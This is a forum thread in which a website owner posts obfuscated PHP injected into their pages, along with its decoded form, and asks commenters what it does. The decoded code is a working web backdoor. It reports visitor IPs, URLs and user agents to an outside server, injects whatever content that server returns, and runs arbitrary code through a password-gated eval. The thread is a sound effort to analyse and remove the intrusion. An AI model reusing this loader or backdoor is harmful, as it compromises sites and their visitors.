0
This weekend the following code was entered on the pages of my site, but I did not understand what it does, could anyone give me a help?
Encrypted code...
//###=CACHE START=###
error_reporting(0);
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl93q3phoJy0LJ1uYaW1Y2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWTyjXF4vWzD9Vv51pzkyozAiMTHbWTDcYvVzqG0vYaIloTIhL29xMFtxqFxhVvMwCFVhWTZhVvMcCGRznQ0vYz1xAFtvLGZ4LzWuMQL1LmAzMwt2BTD0ZGt1LzD4ZGt0MwWzLzVvYvExYvE1YvEwYvVkVvx7PzyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcVQ09VQRcVUfXWTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPE1pzjcBjc9VTIfp2IcMvuzqJ5wqTyio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rlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
Decrypted code...
<?
if (isset($ibv)) { echo $ibv; } else { error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$ip = $_SERVER["REMOTE_ADDR"];
$url = "http://www.mitama.ru/get.php?ip=".urlencode($ip)."&d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("a38bbad65c3ff868d4185bd8184f2fbb".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("www.mitama.ru", 80, $errno, $errstr, 30);
if ($fp) {
$out = "GET /get.php?ip=".urlencode($ip)."&d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("a38bbad65c3ff868d4185bd8184f2fbb".$d.$u.$c."1")." HTTP/1.1\r\n";
$out .= "Host: www.mitama.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$resp = "";
while (!feof($fp)) {
$resp .= fgets($fp, 128);
}
fclose($fp);
list($header, $body) = preg_split("/\R\R/", $resp, 2);
$ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "baf7d6e5") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv;}
Like, this code came out of nowhere?
– Diego
Exactly this code was inserted from nowhere inside the php files I was able to identify due the code being in Base64 ai I found strange.
– Raul Fernando
Look, I tested an excerpt of it and it looked to me like it’s capturing data from visitors to your page. If you try to access www.mitama.ru, nothing appears, but in /get.php it is blank, signaling that there is something there. And being . ru, it is certainly bad thing kkk. I advise you to remove this and spend a good Antivirus and antimalware on your server.
– Diego
So I already deleted all the pages and uploaded BKP but I was curious to know what the code was doing msm so thank you for the attention
– Raul Fernando
It’s a kind of Google Analytics of some hacker, rsrs.
– Whatyson Neves
I advise you to take a good look at your server and the Firewall rules, "fsockopen" is the one that has q te worry fsockopen - Opens an Internet connection socket or Unix domain (http://php.net/manual/en/function.fsockopen.php) If opening doors is thing to resolve as soon as possible, can be sure q will be attacked d new.
– user3010128
@user3010128 Sorry I’m a bit of a layman on the subject that I should look at on the server? I use a Go Daddy hosting server
– Raul Fernando
Take a look at them with respect to this "injection" of code they made on their page, as this is a security flaw in the server rules. one thing is an SQL-Injection for failure of website programming, another is to trigger code snippet in your source, in something already published. Well, it would be nice to look at the machine you use to develop yourself ;)
– user3010128